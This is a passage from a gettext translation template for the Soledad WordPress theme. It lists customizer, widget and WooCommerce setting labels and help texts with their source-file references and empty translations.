#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:353
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:83
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:88
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:387
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:90
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:345
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:41
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:664
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:86
#: inc/elementor/modules/penci-product/widgets/penci-product.php:82
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:43
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:39
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:86
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:238
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:46
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:707
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:43
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:41
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:39
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:39
#: inc/js_composer/shortcodes/info_box/settings.php:19
#: inc/js_composer/shortcodes/small_list/settings.php:15
#: inc/js_composer/soledad_vc.php:55 inc/js_composer/soledad_vc.php:937
#: inc/meta-box/register/page.php:11 inc/options/options.php:97
#: inc/options/options.php:114 inc/options/options.php:131
#: inc/options/options.php:153 inc/options/options.php:186
#: inc/options/options.php:217 inc/options/options.php:250
#: inc/options/options.php:264 inc/options/options.php:292
#: inc/options/options.php:304 inc/options/options.php:367
#: inc/options/options.php:379 inc/options/options.php:399
#: inc/template-builder/archive-elements/breadcrumb.php:36
#: inc/template-builder/archive-elements/description.php:36
#: inc/template-builder/archive-elements/posts.php:674
#: inc/template-builder/archive-elements/taxonomy.php:43
#: inc/template-builder/archive-elements/title.php:36
#: inc/template-builder/single-elements/author.php:36
#: inc/template-builder/single-elements/breadcrumb.php:36
#: inc/template-builder/single-elements/comments.php:37
#: inc/template-builder/single-elements/content.php:36
#: inc/template-builder/single-elements/custom-field.php:36
#: inc/template-builder/single-elements/featured-overlay.php:39
#: inc/template-builder/single-elements/featured.php:36
#: inc/template-builder/single-elements/meta.php:36
#: inc/template-builder/single-elements/postpagination.php:36
#: inc/template-builder/single-elements/relatedpost.php:34
#: inc/template-builder/single-elements/share.php:36
#: inc/template-builder/single-elements/smartlists.php:36
#: inc/template-builder/single-elements/subtitle.php:36
#: inc/template-builder/single-elements/taxonomy.php:34
#: inc/template-builder/single-elements/title.php:36
#: inc/template-builder/single-elements/toc.php:34
#: inc/woocommerce/modules/metaboxes.php:11
msgid "General"
msgstr ""

#: inc/customizer/config/options/featured_slider.php:31
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:280
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:7
#: inc/options/options.php:100
msgid "Font Sizes"
msgstr ""

#: inc/customizer/config/options/featured_slider.php:32
#: inc/customizer/config/options/featured_video.php:31
#: inc/customizer/config/options/footer.php:34
#: inc/customizer/config/options/general.php:39
#: inc/customizer/config/options/homepage.php:36
#: inc/customizer/config/options/logo_header.php:37
#: inc/customizer/config/options/pages_options.php:32
#: inc/customizer/config/options/post_layouts.php:34
#: inc/customizer/config/options/sidebar.php:31
#: inc/customizer/config/options/single_post.php:40
#: inc/customizer/config/options/topbar.php:32
#: inc/customizer/config/options/verticalnav-hamburger.php:32
#: inc/customizer/config/options/woocommerce.php:34
#: inc/customizer/config/sections/penci_section_select_share_section.php:45
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:357
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1124
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:100
#: inc/js_composer/shortcodes/news_ticker/settings.php:156
#: inc/options/options.php:72 inc/options/options.php:103
#: inc/options/options.php:117 inc/options/options.php:146
#: inc/options/options.php:170 inc/options/options.php:204
#: inc/options/options.php:239 inc/options/options.php:256
#: inc/options/options.php:283 inc/options/options.php:296
#: inc/options/options.php:319 inc/options/options.php:386
#: inc/options/options.php:418
#: inc/template-builder/archive-elements/posts.php:1284
#: inc/template-builder/single-elements/share.php:102
msgid "Colors"
msgstr ""

#: inc/customizer/config/options/featured_video.php:23
#: inc/options/options.php:110
msgid "Featured Video"
msgstr ""

#: inc/customizer/config/options/featured_video.php:24
#: inc/options/options.php:111
msgid ""
"You can check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://soledad.pencidesign.net/?video=video-bg&body=boxed-"
"none\">this demo</a> to know what is Featured Video Background.<br>This is a "
"powerful WordPress theme, it supports 3 ways to help you can setup a "
"homepage - you can check more <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://soledad.pencidesign.net/soledad-document/"
"#homepage\">here</a>.<br>And most of all the options here apply when you use "
"<strong>WAY 2: Config Homepage by use Customize</strong>.If you use "
"Elementor or WPBakery to config your pages, you can use background video "
"feature on section/rows to get it display."
msgstr ""

#: inc/customizer/config/options/footer.php:23
#: inc/meta-box/register/page.php:19 inc/options/options.php:124
msgid "Footer"
msgstr ""

#: inc/customizer/config/options/footer.php:29 inc/options/options.php:127
msgid "Footer Builder"
msgstr ""

#: inc/customizer/config/options/footer.php:29 inc/options/options.php:128
msgid ""
"You can add new and edit a Footer Template on <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/options/footer.php:31
#: inc/customizer/config/sections/penci_section_footer_colors_section.php:17
#: inc/options/options.php:134
msgid "Footer Widgets Area"
msgstr ""

#: inc/customizer/config/options/footer.php:31 inc/options/options.php:135
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/footer-widgets-area.png\">this "
"image</a> to know where is \"Footer Widgets Area\".<br>To config Footer "
"Widgets, please go to <strong>Appearance > Widgets > drag & drop widgets to "
"\"Footer Column #1\", \"Footer Column #2\", \"Footer Column #3\", \"Footer "
"Column #4</strong> - check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/footer-columns.png\">this "
"image</a>"
msgstr ""

#: inc/customizer/config/options/footer.php:32 inc/options/options.php:139
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/footer-instagram.png\">this "
"image</a> to know where is \"Footer Instagram\".<br>To config Footer "
"Instagram, please go to <strong>Appearance > Widgets > drag & drop widget "
"\"Soledad Instagram Feed\" to \"Footer Instagram\"</strong> - check <a "
"class=\"wp-customizer-link\" target=\"_blank\" href=\"https://imgresources."
"s3.amazonaws.com/footer-instagram-widgets.png\">this image</a>"
msgstr ""

#: inc/customizer/config/options/footer.php:33 inc/options/options.php:142
msgid "Footer SignUp Form"
msgstr ""

#: inc/customizer/config/options/footer.php:33 inc/options/options.php:143
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/footer-signup-form.png\">this "
"image</a> to know where is \"Footer Sign-Up Form\".<br>To config Footer "
"SignUp Form, please use the HTML markup like we said on the documentation <a "
"class=\"wp-customizer-link\" target=\"_blank\" href=\"https://soledad."
"pencidesign.net/soledad-document/#setup_mailchimp\">here</a>, after that go "
"to <strong>Appearance > Widgets > drag & drop widget \"Mailchimp Sign-Up "
"Form\" to \"Footer Sign-Up Form\"</strong> - check <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/footer-"
"signup-form-widgets.png\">this image</a>"
msgstr ""

#: inc/customizer/config/options/general.php:29
#: inc/customizer/config/options/topbar.php:30
#: inc/customizer/config/sections/penci_section_select_share_section.php:6
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:194
#: inc/js_composer/shortcodes/featured_slider/settings.php:8
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:19
#: inc/options/options.php:68 inc/options/options.php:156
msgid "General Settings"
msgstr ""

#: inc/customizer/config/options/general.php:30 inc/options/options.php:157
msgid "Body Boxed"
msgstr ""

#: inc/customizer/config/options/general.php:31 inc/options/options.php:158
msgid "Category, Tags, Search, Archive Pages"
msgstr ""

#: inc/customizer/config/options/general.php:32 inc/options/options.php:160
msgid "Posts Page Settings"
msgstr ""

#: inc/customizer/config/options/general.php:32 inc/options/options.php:161
msgid ""
"You need to set a blog page by go to dashboard > Settings > Reading > Posts "
"page"
msgstr ""

#: inc/customizer/config/options/general.php:33 inc/options/options.php:163
msgid "Search Settings"
msgstr ""

#: inc/customizer/config/options/general.php:34 inc/options/options.php:164
msgid "GDPR Policy"
msgstr ""

#: inc/customizer/config/options/general.php:35 inc/options/options.php:165
msgid "Like Posts & Social Sharing"
msgstr ""

#: inc/customizer/config/options/general.php:36 inc/options/options.php:166
msgid "Manage Image Sizes"
msgstr ""

#: inc/customizer/config/options/general.php:37 inc/options/options.php:167
msgid "Schema Markup"
msgstr ""

#: inc/customizer/config/options/general.php:38
#: inc/elementor/base/base-widget.php:439
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:418
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:510
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1411
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1486
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1509
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1576
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1752
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:329
#: inc/elementor/modules/penci-button/widgets/penci-button.php:316
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:950
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:971
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1037
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1198
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:182
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:612
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:649
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:696
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:810
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:847
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:894
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:186
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:202
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:327
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:398
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:429
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:460
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:491
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:522
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:636
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1083
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:767
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:804
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:841
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:834
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:860
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:881
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:915
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:936
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:981
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1186
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:111
#: inc/js_composer/inc/vc-params-helper.php:318
#: inc/js_composer/shortcodes/big_grid/settings.php:980
#: inc/js_composer/shortcodes/big_grid/settings.php:1097
#: inc/js_composer/shortcodes/big_grid/settings.php:1169
#: inc/js_composer/shortcodes/big_grid/settings.php:1299
#: inc/options/options.php:169
msgid "Typography"
msgstr ""

#: inc/customizer/config/options/general.php:40 inc/options/options.php:172
msgid "Dark Mode"
msgstr ""

#: inc/customizer/config/options/general.php:40
msgid ""
"You need to use the default theme in light mode to get it works perfectly."
msgstr ""

#: inc/customizer/config/options/general.php:41 inc/options/options.php:175
msgid "Age Verify"
msgstr ""

#: inc/customizer/config/options/general.php:42 inc/options/options.php:176
msgid "User Profile"
msgstr ""

#: inc/customizer/config/options/general.php:43
msgid "Links Manager"
msgstr ""

#: inc/customizer/config/options/general.php:44
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1082
#: inc/elementor/modules/penci-sticky/module.php:29
#: inc/elementor/modules/penci-sticky/module.php:81
#: inc/js_composer/shortcodes/advanced_list/settings.php:87
#: inc/js_composer/shortcodes/info_box/settings.php:485
#: inc/options/options.php:168
#: inc/template-builder/archive-elements/posts.php:1228
#: inc/woocommerce/modules/metaboxes.php:27
msgid "Extra Options"
msgstr ""

#: inc/customizer/config/options/homepage.php:23 inc/options/options.php:183
msgid "Homepage"
msgstr ""

#: inc/customizer/config/options/homepage.php:24 inc/options/options.php:184
msgid ""
"This is a powerful WordPress theme, it supports 3 ways to help you can setup "
"a homepage - you can check more <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://soledad.pencidesign.net/soledad-document/"
"#homepage\">here</a>.<br>And most of all the options here apply when you use "
"<strong>WAY 2: Config Homepage by use Customize</strong>."
msgstr ""

#: inc/customizer/config/options/homepage.php:31 inc/options/options.php:188
msgid "Home Featured Boxes"
msgstr ""

#: inc/customizer/config/options/homepage.php:31 inc/options/options.php:189
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/featured-boxes.png\">this "
"image</a> to understand what is Featured Boxes."
msgstr ""

#: inc/customizer/config/options/homepage.php:32 inc/options/options.php:192
msgid "Home Popular Posts"
msgstr ""

#: inc/customizer/config/options/homepage.php:32 inc/options/options.php:193
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/home-popular-posts.png\">this "
"image</a> to understand what is Home Popular Posts."
msgstr ""

#: inc/customizer/config/options/homepage.php:33
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:73
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:113
#: inc/options/options.php:196
msgid "Home Title Box"
msgstr ""

#: inc/customizer/config/options/homepage.php:33 inc/options/options.php:197
msgid ""
"You can understand \"Home Title Box\" is the block heading title of a "
"featured category or block heading title of the \"Latest Posts\" section on "
"the homepage.<br>Please check more on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/home-title-"
"box.png\">this image</a>."
msgstr ""

#: inc/customizer/config/options/homepage.php:34
#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:163
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:138
#: inc/options/options.php:200
msgid "Featured Categories"
msgstr ""

#: inc/customizer/config/options/homepage.php:34 inc/options/options.php:201
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://soledad.pencidesign.net/soledad-magazine/\">this demo</a> for "
"example and <a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://"
"imgresources.s3.amazonaws.com/featured-categories.png\">this image</a> to "
"understand what is Featured Categories."
msgstr ""

#: inc/customizer/config/options/logo_header.php:23 inc/options/options.php:211
msgid "Logo & Header"
msgstr ""

#: inc/customizer/config/options/logo_header.php:29 inc/options/options.php:215
msgid ""
"You can add new and edit a header builder on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/options/logo_header.php:32 inc/options/options.php:221
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/slogan-text.png\">this image</"
"a> to know what is Slogan text. Note that slogan text does not supports on "
"some header styles"
msgstr ""

#: inc/customizer/config/options/logo_header.php:33 inc/options/options.php:224
msgid "Main Bar & Primary Menu"
msgstr ""

#: inc/customizer/config/options/logo_header.php:33 inc/options/options.php:225
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/mainbar-primary.png\">this "
"image</a> to know what is \"Main Bar\" and \"Primary Menu\""
msgstr ""

#: inc/customizer/config/options/logo_header.php:34
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:173
#: inc/options/options.php:228
msgid "Category Mega Menu"
msgstr ""

#: inc/customizer/config/options/logo_header.php:34 inc/options/options.php:229
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/category-mega-menu.png\">this "
"image</a> to know what is Category Mega Menu. To config a category mega "
"menu, please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://soledad.pencidesign.net/soledad-document/#menu\">this guide</"
"a>"
msgstr ""

#: inc/customizer/config/options/logo_header.php:35 inc/options/options.php:232
msgid "Header SignUp Form"
msgstr ""

#: inc/customizer/config/options/logo_header.php:35 inc/options/options.php:233
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/header-signup-form.png\">this "
"image</a> to know where is \"Header Sign-Up Form\".<br>To config Header "
"SignUp Form, please use the HTML markup like we said on the documentation <a "
"class=\"wp-customizer-link\" target=\"_blank\" href=\"https://soledad."
"pencidesign.net/soledad-document/#setup_mailchimp\">here</a>, after that go "
"to <strong>Appearance > Widgets > drag & drop widget \"Mailchimp Sign-Up "
"Form\" to \"Header Sign-Up Form\"</strong> - check <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/header-"
"signup-form-widget.png\">this image</a>.<br>If you use Elementor or WPBakery "
"Page Builder to config your page, you can use element \"Penci Mailchimp\" to "
"get it display."
msgstr ""

#: inc/customizer/config/options/logo_header.php:36
#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:242
#: inc/options/options.php:236
msgid "Vertical Mobile Navigation"
msgstr ""

#: inc/customizer/config/options/logo_header.php:36 inc/options/options.php:237
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/vertical-mobile-navigation."
"png\">this image</a> to know what is Vertical Mobile Navigation."
msgstr ""

#: inc/customizer/config/options/logo_header.php:38 inc/options/options.php:240
msgid "Colors for Transparent Header"
msgstr ""

#: inc/customizer/config/options/pages_options.php:23
#: inc/options/options.php:247
msgid "Pages"
msgstr ""

#: inc/customizer/config/options/pages_options.php:30
#: inc/customizer/config/sections/penci_section_spage_colors_section.php:33
#: inc/meta-box/register/page.php:23 inc/options/options.php:252
msgid "Page Header"
msgstr ""

#: inc/customizer/config/options/pages_options.php:30
#: inc/customizer/config/sections/penci_section_spage_colors_section.php:34
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/page-header.png\">this image</"
"a> to know what is \"Page Header\""
msgstr ""

#: inc/customizer/config/options/pages_options.php:31
#: inc/customizer/config/sections/penci_section_spage_colors_section.php:55
#: inc/options/options.php:255 inc/template-builder/init.php:264
msgid "404 Page"
msgstr ""

#: inc/customizer/config/options/popup.php:23 inc/options/options.php:261
msgid "Promo Popup"
msgstr ""

#: inc/customizer/config/options/popup.php:30 inc/options/options.php:265
msgid "Popup Display"
msgstr ""

#: inc/customizer/config/options/popup.php:31 inc/options/options.php:266
msgid "Styles & Colors"
msgstr ""

#: inc/customizer/config/options/post_layouts.php:23
#: inc/options/options.php:272
msgid "Posts Layouts"
msgstr ""

#: inc/customizer/config/options/post_layouts.php:24
#: inc/customizer/config/options/post_layouts.php:30
#: inc/options/options.php:273
msgid ""
"All options here apply for Standard Layout, Classic Layout and 1st Posts of "
"1st Standard & 1st Classic Layout. For other layouts, check on \"Other "
"Layouts\" section below."
msgstr ""

#: inc/customizer/config/options/post_layouts.php:30
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:5
#: inc/options/options.php:277
msgid "Standard & Classic"
msgstr ""

#: inc/customizer/config/options/post_layouts.php:31
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:82
#: inc/options/options.php:280
msgid "Other Layouts"
msgstr ""

#: inc/customizer/config/options/post_layouts.php:32
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:165
#: inc/js_composer/shortcodes/testimonails/settings.php:93
#: inc/options/options.php:281
msgid "Row Gap"
msgstr ""

#: inc/customizer/config/options/sidebar.php:23 inc/options/options.php:289
#: inc/woocommerce/modules/metaboxes.php:19
msgid "Sidebar"
msgstr ""

#: inc/customizer/config/options/sidebar.php:29 inc/options/options.php:293
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/widget-heading-title.png\">this "
"image</a> to know what is \"Sidebar Widget Heading\""
msgstr ""

#: inc/customizer/config/options/single_post.php:23 inc/options/options.php:302
msgid "Single Posts"
msgstr ""

#: inc/customizer/config/options/single_post.php:30 inc/options/options.php:305
msgid "Inline Related Posts"
msgstr ""

#: inc/customizer/config/options/single_post.php:31 inc/options/options.php:306
#: inc/widgets/related_post_widget.php:35
#: inc/widgets/related_post_widget.php:37
#: inc/widgets/related_post_widget.php:283
msgid "Related Posts"
msgstr ""

#: inc/customizer/config/options/single_post.php:32 inc/options/options.php:307
msgid "Comments Form"
msgstr ""

#: inc/customizer/config/options/single_post.php:33 inc/options/options.php:308
msgid "Post Reading Progress Bar"
msgstr ""

#: inc/customizer/config/options/single_post.php:34 inc/options/options.php:310
msgid "Infinity Scrolling Load Posts"
msgstr ""

#: inc/customizer/config/options/single_post.php:34 inc/options/options.php:311
msgid ""
"When you viewing a single post page, scroll down and this feature can help "
"you load the next/previous posts automatically."
msgstr ""

#: inc/customizer/config/options/single_post.php:35
msgid "Share Selection Text"
msgstr ""

#: inc/customizer/config/options/single_post.php:36 inc/options/options.php:314
msgid "Show Custom Post Meta"
msgstr ""

#: inc/customizer/config/options/single_post.php:36
msgid "The options here are not applied for Single Post Builder."
msgstr ""

#: inc/customizer/config/options/single_post.php:37 inc/options/options.php:317
msgid "Custom Post Types Builder"
msgstr ""

#: inc/customizer/config/options/single_post.php:38
msgid "Post Formats Builder"
msgstr ""

#: inc/customizer/config/options/social_media.php:19
#: inc/js_composer/shortcodes/social_media/settings.php:10
#: inc/js_composer/shortcodes/social_media/settings.php:175
#: inc/options/options.php:325 inc/widgets/social_widget.php:35
#: inc/widgets/social_widget.php:37
msgid "Social Media"
msgstr ""

#: inc/customizer/config/options/social_media.php:19
#: inc/options/options.php:326
msgid ""
"Enter full your social URL ( include http:// or https:// on the URL ), Icons "
"will not show if left blank."
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:23
#: inc/options/options.php:333
msgid "Speed Optimization"
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:29
#: inc/options/options.php:336
msgid "General & Lazyload"
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:29
#: inc/customizer/config/options/speed_optimization.php:30
#: inc/customizer/config/options/speed_optimization.php:31
#: inc/customizer/config/options/speed_optimization.php:32
#: inc/options/options.php:337 inc/options/options.php:341
#: inc/options/options.php:345 inc/options/options.php:349
msgid ""
"To use options here in the right way - please check <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://soledad.pencidesign.net/soledad-"
"document/#speed-optimization\">this guide</a> first - on <strong>Speed "
"Optimization</strong> section"
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:30
#: inc/options/options.php:340
msgid "Optimize CSS"
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:31
#: inc/options/options.php:344
msgid "Optimize JavaScript"
msgstr ""

#: inc/customizer/config/options/speed_optimization.php:32
#: inc/options/options.php:348
msgid "Optimize HTML"
msgstr ""

#: inc/customizer/config/options/text_translation.php:19
#: inc/options/options.php:357
msgid "Quick Text Translation"
msgstr ""

#: inc/customizer/config/options/text_translation.php:19
#: inc/customizer/config/options/woo_translation.php:18
msgid ""
"If you are using WPML or Polylang - Use shortcode [pencilang] inside fields "
"below with multiple languages - Example: <strong>[pencilang en_US='Share' "
"fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure "
"plugin Penci Shortcodes are activated. You can check languages code <a "
"class='wp-customizer-link' href='https://make.wordpress.org/polyglots/"
"teams/' target='_blank'>here</a>"
msgstr ""

#: inc/customizer/config/options/toc.php:23 inc/customizer/default.php:177
#: inc/options/options.php:365
msgid "Table of Contents"
msgstr ""

#: inc/customizer/config/options/toc.php:30 inc/options/options.php:368
msgid "Font Sizes & Colors"
msgstr ""

#: inc/customizer/config/options/topbar.php:23 inc/options/options.php:64
msgid "TopBar"
msgstr ""

#: inc/customizer/config/options/topbar.php:24 inc/options/options.php:65
msgid ""
"Check <a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://"
"imgresources.s3.amazonaws.com/topbar.png\">this image</a> to know what is "
"TopBar"
msgstr ""

#: inc/customizer/config/options/topbar.php:30 inc/options/options.php:69
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/topbar.png\">this image</a> to "
"know what is TopBar"
msgstr ""

#: inc/customizer/config/options/verticalnav-hamburger.php:23
#: inc/options/options.php:374
msgid "Vertical Navigation & Hamburger Menu"
msgstr ""

#: inc/customizer/config/options/verticalnav-hamburger.php:24
#: inc/customizer/config/options/verticalnav-hamburger.php:30
#: inc/options/options.php:375 inc/options/options.php:380
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/vertical-navigation.png\">this "
"image</a> to know what is Vertical Navigation and <a class=\"wp-customizer-"
"link\" target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/"
"hamburger.png\">this image</a> to know what is Hamburger Menu.<br>Most of "
"the options here applies for both Vertical Navigation & Hamburger Menu. When "
"you enable Vertical Navigation - of course, the Hamburger Menu will does not "
"display."
msgstr ""

#: inc/customizer/config/options/verticalnav-hamburger.php:31
#: inc/options/options.php:383
msgid "Widgets"
msgstr ""

#: inc/customizer/config/options/verticalnav-hamburger.php:31
#: inc/options/options.php:384
msgid ""
"When you use Vertical Navigation or Hamburger Menu, you can add widgets "
"display above or below the menu like on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/hamburger-"
"widgets.png\">this image</a> via Appearance > Widgets > drag & drop widgets "
"on the left side to \"Sidebar Hamburger Widgets Above Menu\" and \"Sidebar "
"Hamburger Widgets Below Menu\" - check <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\"https://imgresources.s3.amazonaws.com/hamburger-"
"widgets2.png\">this image</a>."
msgstr ""

#: inc/customizer/config/options/woo_translation.php:18
#: inc/options/options.php:423
msgid "WooCommerce Text Translation"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:20
#: inc/customizer/config/options/woocommerce.php:21
msgid ""
"You can check <a class=\"wp-customizer-link\" href=\"https://soledad."
"pencidesign.net/soledad-document/#create_store\" target=\"_blank\">this "
"guide</a> to know how to configure your online store."
msgstr ""

#: inc/customizer/config/options/woocommerce.php:21 inc/options/options.php:403
msgid "Shop Settings"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:22 inc/options/options.php:406
msgid "Product Wishlist"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:23 inc/options/options.php:407
msgid "Product Compare"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:24 inc/options/options.php:408
msgid "Product Quickview"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:25 inc/options/options.php:409
msgid "Product Label"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:26 inc/options/options.php:410
msgid "Product Brands"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:27 inc/options/options.php:411
msgid "Single Product"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:28
#: inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.php:27
#: inc/options/options.php:412
msgid "Cart Page"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:29 inc/options/options.php:413
msgid "Order Completed Page"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:30 inc/options/options.php:414
msgid "Mobile Settings"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:31 inc/options/options.php:415
msgid "Toast Notification"
msgstr ""

#: inc/customizer/config/options/woocommerce.php:32 inc/options/options.php:416
#: inc/woocommerce/woocommerce.php:70 inc/woocommerce/woocommerce.php:162
msgid "Sidebar Filter"
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:7
msgid "Enable age verification popup "
msgstr ""

#: inc/customizer/config/sections/penci_ageverify_section.php:14
